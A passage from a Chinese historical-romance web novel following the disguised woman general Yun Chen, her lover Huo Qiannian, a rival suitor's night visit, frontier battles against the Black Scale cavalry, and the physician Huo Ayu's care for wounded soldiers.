霍乾念在云琛的寝屋里,屁股还没坐热,就被喝多了之后狗胆包天的花绝给拽走了。
为了避嫌,云琛如今住在自己的少将府,不再住霍府。
但这并不妨碍霍乾念每天晚上翻墙爬窗户。
这事只有叶峮知道,并以少主腿疾痊愈,已不需要床边守夜为理由,不许任何人夜间进栖云居,只在门外守护。
因此,护卫们并不知道自己其实夜夜守空房。
花绝凭他男人的本能,断定霍乾念这么晚还要留在少将府,一定没安好心。
没辙,霍乾念只能假装回府,在花绝的监督下摔盆扔帕子洗漱完,而后绕了一大圈,才又回到少将府。
轻功虽好,奈何人急。
霍乾念气喘吁吁地从窗子里翻进去,一眼就看见云琛醉倒在榻上,呼呼睡得正香。
他脱下外衣,轻手轻脚地上榻,吻一下她的脸颊,抱住她的身子轻轻摇晃。
“琛儿,别睡,陪我说说话。”
她被吵醒也不恼,迷迷糊糊回应:
“好啊,说啥……”
她睡意朦胧时说话,总是语气软糯如孩童,惹得他心软。
他不禁更加用力抱住她,“今儿收了很多礼物吧,有没有喜欢的?”
她困得眼睛都睁不开,索性闭着眼说话:
“有。苏正阳送的一整套胭脂水粉还挺喜欢的,光眼皮子上摸的玩意儿就有二十多种颜色,还会闪闪发光,可好看了。对了,他还送了一对貂儿窝,我琢磨着哪天拿给知罗,送给墨墨和他媳妇儿。”
说到这里,云琛突然不困了,睁开大眼睛望着他,表情严肃得让他愣了一下。
“阿念,你说。”她皱着小眉头,认真地问:“墨墨是黑色,他媳妇儿是雪白的,他俩生出来的小貂会不会一半黑一半白啊?”
还别说,这问题真给他难住了。
“应该是黑白条纹的吧?像白罴那样?”
“会不会脑袋黑,身子白,像个小棒槌?”
“啧……也有可能身子黑,四爪白,到时候正好叫‘踏雪’。”
“也可以叫‘白案师傅’。”
“哈哈哈……那到时候我们去看看。”
“希望到时候还能见到墨墨吧。我总觉得知罗……和从前不太一样了。”
云琛回忆这段日子见到知罗时,她总是神情冷冷又恹恹,不再像从前一样爱同云琛说笑。
有几次,云琛留意到知罗身上竟然有淤青伤痕。
有时在脖子上,有时在手腕上。
她追问知罗怎么回事,后者只冷漠道:“与你无干。”便转身离去。
接连碰了几次壁,云琛便也渐渐不去找知罗了。
霍乾念自然对一切都看得分明,想了想,却只是道:
“伴君如伴虎,做女官不易,她大约是太累了吧。”
云琛点点头,转而又想起晌午霍乾念留东宫议事的事情。
“殿下可有什么新吩咐?是不是叫我们回东南追剿黑鳞骑兵?”
“是。”霍乾念忽而又想起那逼仄压抑的殿顶,所有思绪一股脑儿涌上心头,堵得他心口发慌。
“殿下说,待战平之后,会为我们赐婚。”
她十分惊讶:“殿下竟不追究我女扮男装欺瞒之罪?”
不追究。
这三个字太假,他说不出口。
他不愿再往深去想白天的事,紧紧抱住她,埋首在她颈间不停亲吻,呼吸逐渐变得粗重。
“琛儿……我们现在就成婚吧,好不好……”
不等她说话,他已倾身压来,唇齿深深覆上,从脖颈到两团柔软小兔,从盈盈一握的腰肢往下……
他带着前所未有的霸道与强势,一一深吻流连,颇有真要攻城略地之势。
这么多次被撩拨,她还是第一次感到他如此强烈的急迫和占有。
从来只是浅尝辄止,今夜他仿佛真的想将她吃干抹净。
心里只犹豫了一下,她缓缓放软身子,忐忑又期待,准备迎接这必会到来的一夜。
直到将她剥得只剩最后一件纱衣时,他忽然停住动作,气喘吁吁地伏在她身上,目光幽深又灼灼地看着她。
“琛儿,我爱你。”
她身子已全部酥软,羞羞柔柔地笑,“我也是呀。”
他直直看着她,语气坚定地接着说:
“所以不能。”
像是强行勒住奔腾的骏马,他艰难地从她身上离开,用被子将她裹起来,包成个大粽子。
隔着厚厚的被子,他抱住她,下巴抵在她发顶,轻声道:
“万一我**,琛儿还能嫁个好人家。”
云琛愣了一下,挣扎着想起身,却被他抱得极牢,根本动不了。
“阿念,怎么了?出什么事了?你要做什么危险的事吗?”
他牢牢抱着她,将脸埋在被子上,不叫她看见他的表情,闷闷道:
“世间万物,有生必有死。你我都将有这么一天。”
甚少从他嘴里听到这么丧气的话,可她又无法反驳。
诚然,他们过的就是刀尖舔血的日子。
且看霍帮护卫们**一批又一批,换了一批又一批;狮威军将士们的平均年龄越来越小,便
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知世事无常,生死无定。
她不再挣扎,用力回抱住他:
“若你**,我就同你一起——”
“不行。”她话未说完,就被他出声打断:“我若**,允许你哭,允许你疯你闹,就是不许你同我一起死。”
自古鸳鸯多命苦,殉情成双者不在少数。
依云琛的性子,若霍乾念亡故,她必追随而去。
他说:“我的琛儿什么都好,身可殉国,心可殉主,一条命一颗心总为旁人,就是太不爱惜自己。你若能自私些,我反倒放心。若有一天我**,我希望你好好活着,过一个不为任何人、只属于你自己的人生。”
叶峮曾说过,云琛是个忠贞且痴傻的人。
她一辈子也学不会算计,一生都在舍去自己,成全他人。
这样的人,自然是人人受恩,人人喜欢。
在不知道她女儿身的时候,叶峮甚至说,她比君子还要高洁,更像个圣人。
云琛不敢想,若有一天失去霍乾念,她该怎么活。
光是想一想这事,她就鼻头发酸,止不住地落泪。
见她这样哭,他心疼不已,捧着她的脸不停亲吻。
“好琛儿,你哭得我心都碎了,别哭。”
她哭得抽抽嗒嗒:“这便是你不与我......那啥的原因吗?”
他想要哄她,一边轻轻吻去她的眼泪,一边坏笑着问:
“怎么,琛儿很想和我‘那啥’?好呀,我求之不得!”
说着他就作势要解她最后一件纱衣,惹得她又气又恼,眼泪未停,一粉拳砸在他肩头。
他握住她打来的拳头,轻嗅慢吻,语气慢慢低沉:
“琛儿,我想要你,做梦都想。可如今我不敢了,我霍乾念这辈子第一次说‘不敢’这两个字。若我死,你还是完璧之身,嫁人也好,独居也罢,这荒谬迂腐的世道都不能指摘你任何。可若我这般自私要了你,今后我**,你一个人怎么办呢......”
云琛啊云琛,我们无奈生在这样一个道貌岸然、腐朽礼教能**的时代。
我想大闹个天崩地裂,叫日月换新颜,换一个新世道。
可前途黯淡危险,变数何止千万多。
我从不在乎什么完璧什么清白,我只担心若我即将要走的这条路,走不到成功的尽头……若我死去,无人再护你,这世道会拔出利剑冲向你。
我怎舍得留你在世上受苦呢?
他心里千头万绪,百般滋味,却一个字都不能说出口。
真正要做的事,对神明都不要说。
他不能对云琛说。
第308章 怪物的预言
说了半夜话,上战场杀敌的疲乏,今日庆贺饮酒的醉意,全都涌了上来。
云琛和霍乾念像往常一样,相拥着沉沉睡去。
云琛做了一个很奇怪的梦。
梦里面,她浑浑沌沌走进一片遮天蔽日的森林。
四处都是迷蒙的雾气,两座小小的坟堆掩藏在林子深处,一只人面蛇身、长着两只小短手的怪物,拿着一大块红布,正在坟前“噗噗”地撕扯着。
云琛走近去瞧,问:“你在干什么?”
那怪物阴森一笑,露出两排整齐的獠牙,将手中的红布展示给她看,竟是一块写着“囍”字的婚布。
“你丈夫**,我给你扯布,淘一淘,淘成白色给你做寡妇头巾呀!”
云琛骇然大惊,捡起地上的石头就朝怪物砸去,大喊:
“你胡说!滚!给我滚!”
怪物灵巧地躲开攻击,将已经撕成千丝万缕的红布条洒向云琛。
一瞬间,红色骤变成白,铺天盖地朝她扑来,宛如强壮的蛛丝将她紧紧裹住,勒得她喘不过气。
她使劲挣扎,那怪物却笑嘻嘻看着她,随手捡起几根白布条,短小的手指快速飞舞,编成了一顶出殡的丧夫白帽。
“他**。你会知道的。”怪物一遍遍地说。
云琛不断挣扎大吼:“你闭嘴!你胡说!”却怎么都挣脱不开。
她又急又怒,挣扎得浑身是汗,终于一个激灵惊醒,这才发现霍乾念正像八爪鱼一样扒在她身上,勒得她动弹不得。
她慢慢平复噩梦的余悸,将他的手脚小心拿开,为他仔细掖好被子。
这噩梦太真实了,那种苦苦挣扎与恐惧的感觉,让她梦醒之后还是心口怦怦直跳,久久不能平息。
她坐起身,轻手轻脚地推门出去,站在院子里透风。
深秋夜凉,她适才噩梦一身汗,这会被风一吹,不免有点打哆嗦。
想到她这少将府自盖成以来,她就没住过几日,身为这一府之主,她连自己府中全貌都没见过,府中护卫和仆人也认不全。
她索性轻功跳上屋檐,在屋脊间行走,一边热身抵挡风寒,一边游览她自己的府邸。
就这么走着走着,忽然,她余光瞥到身后飘过一道白影,像个幽魂似的无声无息,擦着她后背过去。
她瞬间联想到噩梦中的怪物和白布条,不禁脚步一颤,浑身鸡皮疙瘩都冒了出来。
就是鬼又如何?人杀得,鬼也杀得!大不了杀两次!
她心里大喝一声,迅速回身向白影冲去,然后硬生生在“鬼影”的脸跟前刹住脚步。
差点撞进“鬼影”怀里,她满胸豪气跑得无影无踪,声音因为害怕而有点变形,指着对方大骂:
“颜十九!你有病啊?!大半夜穿一身白!鬼啊你!”
颜十九嘻嘻笑道:
“呦呵,我楠国第一女将军也怕鬼?”
云琛瞪了他一眼,转而留意到他荼白色的锦袍,还有那张日渐英俊、神貌完美的快让人认不出的脸。
脑中飞快将种种细节联系在一起,她惊讶地瞪大眼睛:
“果然是你!今晨在东宫殿瞧见有‘小鬼’听墙根,还以为是我眼花呢!果然是你这家伙!”
说着她恍然大悟:“入京之后听说了两件奇闻,一件关于知罗,另一件说,东宫如今十分**,是因为有英神夜夜入东宫,向公主传授秘法。我还当是说书的胡说八道呢!”
她朝他竖起大拇指,佩服道:
“牛啊牛!搞了半天你这又是美容养颜,又是和我避嫌的,原来是追公主去了!我听朝臣说,你如今出入东宫极其自由,看来是成了?”
颜十九得意地扬扬眉毛,故意压低声音问:
“那你听说这消息,有没有一点伤心?”
“有。”她说。
他目光微愣,面上浮现微喜的神色,又迅速按下,却听她接着说:
“我替公主伤心。这么美若天仙的佳人,怎么被你这混球给拱了?唉……”
“切!论身世、武功、脑子、相貌,我哪样不是楠国第一?”他撇撇嘴,接着语调一转:“噢——我知道了!你在吃醋,在说气话对不?”
“去你大爷的!”她飞起一脚,结结实实踹在颜十九腿上。
南璃君善妒,因此自云琛回京以来,颜十九处处小心谨慎,从不主动找云琛。
即使碰面也只是浅浅打个招呼,从不敢和云琛有一丝一毫的亲近。
眼下挨了久违的熟悉一脚,他只觉通体舒泰,浑身哪哪儿都爽快了。
他望向寝屋的方向,“霍乾念在里面?你俩已经睡了?”
云琛被这直白话闹了个红脸,“呸呸呸,阿念是正人君子,你别胡说八道。”
“我只是问,你俩就寝入睡了吗?没有别的意思。你想哪儿去了。”他挑挑眉,故意逗得她耳朵通红。
“关你屁事!”用看神经病一样的眼神看着颜十九,云琛道:
“话说你这大晚上跑来找**嘛?小心公主收拾你!”
他砸吧砸吧嘴,“霍乾念在寝屋睡着,你却来与我见面,这和我等公主熟睡之后来找你是一样的。咱俩果真心意相通,有点偷情的意思,很刺激,我喜欢!”
终于受不了了,云琛气得手心发痒,抓住他一顿拳脚招呼。
“我!问!你!找!我!干!嘛!”
他擦擦鼻血,嘿嘿一笑:
“不干嘛,就想你了。”
闭了下眼,云琛深深吸气,杀心顿起,开始用心、专注、认真地狠揍。
颜十九挨她揍,从来不还手,最多“吭吭”两声。
而且别人挨揍都疼得皱眉头,只有他越挨揍,越高兴,一个劲儿地咧嘴乐。
最后搞得云琛心里都有点发毛,不敢再打了。
她停下手,甩甩发酸的手腕。
“我要和阿念成婚了,你以后再腌臜我,我让阿念收拾你!我劝你做个正经人。”
颜十九露出一个耐人寻味的笑容:
“成婚?听说了,楠国第一女将军要嫁人,楠国首富要成婚。”
云琛并未察觉到这两句话有什么问题,坦荡荡地对颜十九笑道:
“挺好,咱俩都要成家了,你可得对公主专一些,别朝三暮四的哦,小心小命不保。”
颜十九轻声笑笑,目如耀火。
“我从始至终都很专一,你会知道的。”
……
……
折腾了半夜,颜十九也没说他大半夜来少将府想干嘛。
只一通玩笑后,定定地看
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了云琛好一会儿,就又“鬼影”似的飘走了。
他走后没有多久,东宫就突然连夜传来急令,说是黑鳞骑兵在东南边境蠢蠢欲动,已有再犯固英城之势。
狮威军有兵无将,东宫命霍乾念和云琛速速启程回军,不得有误。
霍帮得到消息,叶峮也顾不得什么男女大防,急急带着宿醉刚醒的花绝和不言赶到少将府,将铠甲和佩剑全都带来。
霍乾念和云琛互相穿戴铠甲时,云琛将颜十九刚才来找她的事情说给霍乾念听,完全没避讳周围还有叶峮三人,以及匆匆赶来侍候的兰倩在场。
花绝和不言有点紧张地闭上眼睛,替云琛捏了把汗。
按霍乾念对云琛那情深如宝,不吃醋抓狂才怪。
谁料霍乾念连眉头都没有皱一下,不在意道:
“他如今是殿下的宠臣,大约是提前得到我们要回固英城的消息,故来看望你。”
“我觉得也是。那这厮消息比东宫还快,说明东宫处事太不严密了。”说完,云琛立刻将颜十九抛之脑后。
而后,趁兰倩带云琛去里屋整理内衬的时候,叶峮忍不住悄悄问霍乾念:
“少主,您怎么不叫阿琛防着颜十九一些?那家伙明显不安好心,阿琛傻的,没人提醒,她恐怕看不出来。”
霍乾念摆弄衣领,淡淡道:
“没必要提醒,他们翻不出什么大风浪来。”
在他与云琛固若金汤的城池前,什么知罗也好,苏正阳也罢,他们就像蚂蚁一样渺小,浅浅的爱意,风一吹就散了。
纵使有颜十九这样城府极深又颇为坚持的存在,只要不戳破,云琛就不会放在心上。
怕就怕像霍阾玉那样,一旦说破,云琛必日日挂心,时常愧疚惦念,反而不好。
霍乾念了解云琛至纯至真的性子,不让她有心事负担,反而是最好的壁垒。
他讳莫如深地笑道:
“只捉虫的杨梅,是不会甜的。”
在叶峮几人一头雾水中,望了眼即将黎明的天色,霍乾念与云琛手牵着手,朝大门走去。
两人刚来到门前,正与一人迎面撞上。
来人风尘仆仆,衣裙上全是泥土和褶皱,乌发有些凌乱,未戴钗环,精致的面容挂满疲惫和担忧。
日夜兼程骑马而来,霍阾玉累得只有能扶住大门的力气,眼睛却焦急地望向门内。
一旁的门卫用刀鞘搀扶她:
“姑娘,您找谁?”
霍阾玉不停朝门内看去,“这里是云琛少将府吗?我听说京都被袭,云将军殊死以战,如今怎么样了,她还好吗?她……”
话未说完,霍阾玉便瞧见一对天造地设般的璧人手牵着手,朝大门走来。
他们穿着同样英武的铠甲,面上是同样勇毅的神气光彩。
他们望向彼此的眼中,是任何人都横插不进的山海。
如遭雷击一般,霍阾玉震在原地,呆呆地望着二人,久久无法接受“原来他们相爱”这个残忍的事实,泪水渐渐溢满眼眶。
另一边,云琛下意识松开霍乾念的手,却被他一把抓回,握得更紧。
未等云琛开口,霍阾玉猛地转身跑开,骑上来时的马,远远而去。
“我去追。”霍乾念说。
第309章 荣易不能接受
凛冬将至,长夜无尽。
楠国三十一年冬,东宫征调中部平叛兵力,集结四十万大军北上,讨伐洛疆汗国。
南璃君亲自挂帅为将,将军颜十九与段捷为副将辅战。
老将曹放与孟剑云率五千人马前往中部,继续清剿叛党残余。
与此同时,霍乾念与云琛东南回营,率狮威军追剿黑鳞骑兵。
霍乾念兵法娴熟,战法莫测。云琛则是指哪打哪儿,从无退缩。两人配合得天衣无缝。
十万骑兵先锋在云琛带领下,七战七捷,屡立奇功,令黑鳞骑兵根本靠近固英城不得,只能狗在深山老林里游击作战。
适逢东宫下令推行二十级军功制,所有将士凭本事杀敌割耳。
每战下来,将士们带着一裤兜敌人耳朵排队计数,按杀敌数量晋级获赏。
故而,黑鳞骑兵猫在林子里,露头必杀。
狮威军的将士们根本不放过任何一个立功封赏的机会,令黑鳞骑兵兵力大伤。
作为狮威军少将、骑兵先锋队的主将领,云琛向来杀敌最多。
别人都是一战下来,裤兜里少则**个耳朵,多则三四十个。
云琛则是麻绳穿耳,马屁股上里三层外三层地挂了十几圈。
众将士远远只见一匹黑马载着腾腾杀气归来,云琛铠甲渡血,粉清色的衣袍下摆全是箭洞刀砍,令人咋舌不已。
将军级别远在军功制外,已不需要计数**,云琛便将马屁股上的一根根耳朵串取下来,随手抛给周围亲信,大方道:
“送你!”
不仅如此,但凡朝廷封赏,云琛从不留私,通通与将士们分讫。
再加上她和将士们同吃同睡,啊呸,一同吃喝那粗糙难咽的军粮,全无一点女子娇柔的模样。
她凹凸身段也被坚硬厚重的铠甲裹着,看不出什么来,仍旧和从前一样豪气冲天,杀敌如麻。
将士们彻底将京都传来的“云琛竟是女儿身”之事抛诸脑后,仍旧将云琛当成男人对待。
只有荣易皱着眉头,不停上下打量云琛:
“去时好端端一个顶天立地的汉子,回来怎么变女人了?老大,你给我透个底,你是不是胡说的?是为了麻痹敌人,准备搞个圈套?把焦左泰骗出来杀?美人计?”
云琛一巴掌打在荣易脑瓜子上,只送他四个字:
“去**!”
挨了一巴掌,荣易嘴里直“啧啧”,咂摸道:
“对的呢呀!就是这个味儿呀!怎么能是女人呢?”
他无法将“云琛”和“女人”联系起来。
他这辈子睡过那么多小娘子,有那么多相好,却从来没见过任何一个像云琛这样的女人。
**不眨眼,骂人踹屁股,动不动就问候对方母亲……实在不像个女人。
瞧着荣易百思不得其解的模样,荣江从旁笑嘻嘻走过来,揽住荣易脖子,笑道:
“得亏云将军是女人啊!不然我都有点不能直视霍将军了。是女人好啊,是女人好!”<
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br>云琛是女人,就证明霍乾念不是龙阳。
这可给荣江高兴坏了。
他是个比较传统的男人,一直不能接受白璧微瑕,霍乾念竟喜欢男人。
这下好了,“瑕”没了,他家将军完美得无可挑剔。
荣易不高兴道:
“我不喜欢我老大是女人!老大肯定骗人的,有什么大计划在后头!不行!我不能接受!”
荣江咧嘴直笑,故意气荣易:
“不能接受也得接受!你老大就是女人!”
荣易气得大骂:“你老大才是女人!”
荣江回嘴:“呸!我们霍将军如假包换男儿身!我和他一块撒过尿!我知道!你老大才是女人!”
“你老大才是女人!”
“你老大才是!”
“你老大是!!”
荣江和荣易吵吵得快要急眼。
这嘴巴仗从小打到大,每次不到荣家老爹上来一人一大嘴巴子,这仗都不会停。
眼下没有荣家老爹,但是有“云老虎”。
只见两只军靴挟着劲风飞来,啪啪两声,准准打在荣江和荣易嘴巴上,二人终于消停。
云琛光脚站在地上,叉腰怒骂:
“你俩给老子刷马去!一人十匹!”
围观者哈哈大笑。罗东东高兴地吹起口哨,冲荣易道:
“给我家二壮刷干净点!他是公的!你不用担心——哎呦——”
不用说,罗东东也挨了一巴掌。
云琛怒道:“你也滚去刷!”
第310章 一碗芙蓉粥
收拾完几个浑小子,云琛来到粮草物资库房。
人住可以简陋些,帐篷就行,但粮草和物资马虎不得,通通盖了临时土屋用来保护和储存。
她路过粮食、药材、军服等日渐空荡的屋子,来到日用物资的库房。
把守库房的将士向她行礼:
“将军,老规矩吗?六匹布,一车药酒,半车细粮?”
“对,帮我拴到马上,我要入城一趟。”云琛说。
守库的将士手脚麻利,很快便清点出云琛要的东西,登记在册。
环顾库房,云琛随口道:
“这群小子太能造了,上一批粮草物资才到了半个月,就被他们霍霍成这样了!”
这话看似埋怨,但语气分明宠溺十足。
都是上阵杀敌的悍将,打仗次数多,杀敌多,自然粮草物资消耗也多。
将士笑道:“将军,这还是离您最近的一片小库房,您往粮草营那边瞧瞧去,每战下来都要空一半,烧火房的菜刀都快抡出火星子了,十天就能磨完一把。”
随口问了句“最新一批粮草什么时候到?”在得到“就今天”的回复后,云琛回帐子换上寻常装束,拿起一个从京都寄来的包裹,驾马拉车,往固英城而去。
固英城是易守难攻的东南边境重城,向来是兵家必争之地。
近年战火不断,固英城的百姓们饱受战乱之苦,却仍舍不得故土家园。
地道营救后,黑鳞骑兵被狮威军击退,百姓们又陆陆续续回到固英城。
作为离狮威军营地最近的城池,城中将青楼取缔,在被云琛焚烧过的废墟上重建楼宇,改为容纳重伤将士疗伤休养的医药院。
云琛只留下包裹,将带来的其他物资交给医药院的执事官,在物资所属人的地方写下“霍阾玉”三个字。
执事官熟门熟路地收下东西,指了指二楼,笑道:
“霍医女在上面照顾伤员呢,一天一夜没睡了。”
“多谢。”云琛提上包裹,往二楼走去。
楼里到处都是重伤员,地上横七竖八、密密麻麻躺满了受伤的将士们。
有的没有耳朵,有的没有胳膊,有的甚至肠子还翻在肚子外面,泡在一个温水盆子里。
空气里弥漫着一股刺鼻的草药和微微腐臭的味道。
军医和医女们忙碌穿梭,分身乏术,忙得连喝口水的时间都没有。
霍阾玉和所有医女们一样,穿着麻布衣裙,带着女医帽,像干农活的妇人那样束起袖子,露出白皙纤弱的胳膊,在一张张病榻前忙碌,全无一丁点豪门大小姐的模样。
她头发有些乱,但无暇梳洗,小脸苍白又疲惫,嘴唇都有些干裂。
一夜未睡,她眼睛下面泛着重重的青色,神色却是高兴的。
因为她的辛苦没有白费,那高烧一夜的将士终于退烧苏醒。
她伸出柔软的手,摸摸那双目失明、右臂残断的将士的额头,放心地舒了口气,然后打开一个油纸包,拿出最后一块芙蓉糕掰碎,泡进温热的米汤。
在将油纸包扔掉之前,她还不忘用起新学的技巧——将纸斜在碗口抖一抖,直到所有糕点渣都落入碗里,才舍得将纸扔掉。
她一手端着汤碗,一手拿着木勺轻轻搅动吹气,对那将士说:
“有点烫,我吹吹,马上就可以吃了哦。”
固英城不比京都繁华安定,货物匮乏,吃食也粗糙。
每个月押运粮草时,云望和妻子朱氏都会装些布匹、细粮和糕点,随粮草车一起送来,这是他们对云琛的惦念。
云琛全给了霍阾玉。
霍阾玉只留下半匹布,剩下的全给重伤垂危的将士吃用了。
将一碗浓浓香香的芙蓉粥吹温,霍阾玉扶着那将士起身。
她面朝那将士,两手从他腋下穿过,就这么迎面抱着他,费力地将他往上拽。
在战区这里,没有男女大防,礼仪体统都是给**的。
因为力气太小的缘故,霍阾玉一下未能拽动那将士。云琛赶紧上前帮忙。
对于云琛的到来,霍阾玉和从前一样,只当空气似的,没看见,一个眼神都不给云琛。
那日在京都,撞见云琛和霍乾念两情相悦后,霍阾玉哭着跑开。
霍乾念追上去,不知与霍阾玉说了什么。她倒是不跑了,还跟着狮威军一起来战区做医女,说是在烟城这一年一直如此。
但从那天开始,霍阾玉就再没同云琛说过一句话,看过云琛一眼,永远是淡淡又无视的模样。
云琛将那将士扶起,帮他靠坐好。
那将士嗓音嘶哑,气息微弱,却开玩笑道:
“辛苦二位……没想到我缺了一条胳膊,分量还是这么重,搬也搬不动。”
霍阾玉用木勺舀起泡软的芙蓉糕,喂到那将
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士嘴边,柔声道:
“呀,都有力气说笑了?也不知道前日谁在那哭哭啼啼说不想活了,害得我一遍遍给他眼睛抹药包扎,嗯?”
那将士哈哈笑了一声,“嗨,霍医女,你别笑话我,我虽然丢了眼睛和胳膊,但我一共杀过二百六十个**!云将军都知道我勇猛的!只不过醒来发现瞎了,有点慌而已!现在已经好啦!我能接受自己这样了!”
话虽是轻松玩笑的,但听着却让人心疼,沉重到无法接话。
这样的将士,整座楼里全都是。
有的少了胳膊,有的少了腿,有的浑身烧伤,还有的浑身是血,还在昏迷不醒。
战争永远是残酷的。
每一场胜利与荣耀背后,都有无数将士和百姓们如尘埃般湮灭。
世人往往只记得云琛这样战功卓著的大将军,却不记得她身后同样浴血奋战、豁出性命的无名英雄。
云琛仔细打量那将士的脸,点点头:
“我记得你,步兵七营副营长何小武,确实英勇。”
听出云琛的声音,那将士愣了一下,立马挣扎着就要爬起来,着急道:
“云将军是您吗?您怎么来了?将军!我还能战!别送我走!我不想走!我想留下来杀**!我知道我现在瞎了残了!但是我还有一只手!我可以敲战鼓!或者在厨房烧火也行!将军!别送我走!”
所有重伤员保住性命后,都要被运送回家乡休养,何小武重伤至此,亦在最近的一批返乡名单里。这是狮威军对待伤员的宽慰。
但对一辈子都在和敌人作战的汉子来说,回乡意味着永远离开狮威军,再也不是军人了。
何小武一出声,其他所有伤员也都挣扎着开始大喊:
“云将军!我可以干杂役!我不想走!”
“我也是!我只少条腿而已!我可以晚上靠墙放哨!”
“我也是!云将军求求您!别赶我们走!”
将士们全然忘记身上的伤残和痛苦,纷纷哀求云琛将他们留在狮威军,让他们继续杀敌,继续做卫国卫民的兵。
云琛心里感动,赶忙安抚众人,却怎么也说不出拒绝。
场面开始混乱。
眼见重伤员们不顾军医和医女劝阻,一个个挣扎要起身,伤口全被绷裂流血,霍阾玉将碗重重地放在桌子上,终于开口对云琛说话:
“出去!”
第311章 不生气了吧?
比原定时间晚了整整七日,狮威军的粮草还是没有到。
霍乾念派出探子沿路打探,消息在一处杀谷戛然而止。
那杀谷是一道山崩形成的大裂谷,像用巨斧劈开山脉,留下的一道狭长幽深的裂缝,以及漫天荒芜尘土。
杀谷最宽处,可容四架马车并行,最窄处仅容一人通过。
这等一夫当关万夫莫开之险地,常年由军队把守,是向狮威军运送粮草最快捷的路径,从无出错。
此次反常,令所有人心中不安。
因粮草是关乎全军存亡的大事,霍乾念决定亲自带队前去查探情况,亲点叶峮、不言、荣江与两千骑兵同去。
这一来一回日子不短,军中不可无将。
云琛便领花绝与荣易留守军营。
谁知霍乾念刚离开三日,云琛就收到一则不大不小的消息。
说是朝廷原定要来固英城接送重伤员回乡的车队,因冰雪封路,被滞留在半道,无法前行,请狮威军派人去迎一迎。
云琛和花绝商量了一下,与其空拿着破冰镐去开路,不如直接带上所有重伤员一起过去,省得朝廷车队来回跑,重伤员们也能早点归家。
算算时间,运送重伤员不能快马行路,来回至少要十日。
云琛便叫荣易留守,自己和花绝去跑这一趟。
花绝不明白,运送重伤员而已,是个没有危险但麻烦的差事,云琛干嘛非得自己去?
却见云琛将京都送来的最后两盒点心、几块手帕、两块羊油胰子和一卷上好的软布装在包裹里,往肩上一甩,屁颠屁颠地朝随队的医女们跑去。
花绝一把拽住云琛衣领子,惊悚地问:
“你干嘛?找阾玉?你准备男女通吃?给这兄妹俩都拿下??”
云琛甩开花绝的手,跳起来捶了他一下:
“都说了叫你少看些乌七八糟的话本!什么《霸道公主爱上我》《纯情侍卫俏公主》!都给你看傻了!”
说罢,云琛头也不回地跑开,不管花绝在后面如何红着脸大叫:
“那都是不言给我的!!不是我的!!”
为保证重伤员的安危,此次医女们都得与队同行,直到将伤员平安交到朝廷车队为止。
霍阾玉如今是医女,自然也在队列。
云琛觉得,这是破冰的好机会。
从京都过来到现在,整整两个月,霍阾玉对旁人都如沐春风,一对上云琛便冷冰冰的。
两个月只说了“出去”俩字。
这让云琛十分难受。
她厚着脸皮挤到医女们的马车上,霍阾玉立刻冷着脸下车,说是要看护重伤员去。
她追着霍阾玉上重伤员的马车,霍阾玉又立马扭头下车。
就这么云琛追,霍阾玉跑。
二人在十几辆马车间上上下下,看得人眼花缭乱,惹得周围人都看过来。
花绝更是不停在四周假装踱步,实则盯梢,恨不得将偷听的耳朵伸到云琛怀里去。
最后,霍阾玉跑急了,一下被车轮绊倒。
云琛眼疾手快扶住,却被霍阾玉用力甩开。
似乎真的感受到霍阾玉的厌恶,云琛有些受伤的表情。
她慢慢收回手,语气歉疚道:“如果你这么讨厌我,那......我以后不来烦你了......”
说罢,她将小包裹放在霍阾玉手边,“这个给你。你爱干净,里面两块羊油胰子可以洗澡。”
停顿了一下,她挠挠脸,压低声音,有些局促地接着说:“还有一卷蚕丝绵布,给你葵水时用,不磨大腿。”
常年战乱的固英城,满城上下都找不出两匹锦缎,更不要说拿昂贵的蚕丝绵布给葵水用。
这一年来,霍阾玉葵水时,别说蚕丝绵布,就连最粗糙普通的粗布都很难见到,大多时候都是用草纸。
遇到仗打起来,连吃喝都成问题,什么都进不来战区的时候,有时也用草木灰或者树叶。
霍阾玉深知这小小一卷蚕丝绵布得来不易,这般细心和体贴,也只有云琛能想到并做到。
想到这里,霍阾玉不禁心头一软,面上冷冰也消融许多。
她打开包裹,将那卷洁白柔软如云朵的蚕丝绵布拿出来,向何小武所在的马车走去。云琛紧随其后。
二人钻进马车,何小武因为伤重,被单独分在一辆马车,还在睡着。
霍阾玉轻轻将何小武眼睛上的麻布条解下来,换敷上柔软的蚕丝绵布。
“这样就不会磨得痛了。”霍阾玉突然说。
云琛差点没反应过来是在同她说,忙不迭点头,连连称是。
在何小武只剩两个血红**的眼睛上包扎完,霍阾玉又为他更换掉右臂断肢处的草药布巾,而后将已只余小小一卷的蚕丝绵布小心收起来,道:
“这些留着,给其他受伤的将士用。”
轻轻一句话,语气平静如常,却叫云琛心里感动不已。
望着霍阾玉不施粉黛甚至有些脏乱的脸,云琛突然发现她好像变了。
她已不再是那个蹦蹦跳跳地追着云琛,娇横又任性的霍帮二小姐了。
她像尊仁慈又悲悯的女菩萨来着。
要吃了多少苦才能变成这样。明明她可以和其他豪门大小姐一样,继续过她事事有人伺候的优渥日子……
云琛直直地看着霍阾玉,心中百般情绪涌动。
霍阾玉望向车窗外,白雪映着日光,照得她的脸庞有圣洁的柔光。
“从前,我只想追着你的脚步,想与你同样有本事,也特别想念离开烟城以前的你……后来我才知道,我不是想念过去的你,我只是在又长又深的内宅里待久了,特别怕走出去……
你们离开烟城去打黑鳞骑兵后,我一时很迷茫。到处都是断壁残垣,百姓流离失所,受伤的百姓和将士们倒在地上……我觉得应该做些什么,却又不知道可以做什么。我开始尝试学医女,没想到慢慢走出了一
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条我自己的路……”
作为深闺长大、十指不沾阳春水的豪门贵女,霍阾玉用了很久时间才忘记霍氏二小姐的身份,适应战区的疾苦。
又用了很久时间忘记“女子”的矜持。
与云琛分开的这一年,从烟城到固英城,哪里最乱最苦,伤病最多,霍阾玉便出现在哪里。
从连怎么点煤油灯,怎么打井水都不会,到如今已可以熟练地为断肢的伤员包扎止血。
如今战区里远近闻名的,不是堂堂将军小妹、霍帮二小姐,而是人美心善、疗伤心细的医女霍阾玉。
将目光从窗外收回,霍阾玉终于肯直视云琛,却只是短短一眼,又迅速将眼神移开。
只一眼而已,那些被刻意抛开的心酸和痛苦,就又一股脑儿追了上来,像锋利的细刃一圈圈紧紧缚住她的心,疼得她几乎不能呼吸。
“云琛,我不是故意冷着你,只是……”霍阾玉说到一半,就说不下去了。
只是我已明白你此生都不可能爱我,我想学着放弃你。
我怕只要多看你一眼……就心痛得难以呼吸……
稳了稳嗓音,霍阾玉道:“你从来不欠我任何,都是我一厢情愿,何须你这样低声下气求和……傻子,你就是心太软了。”
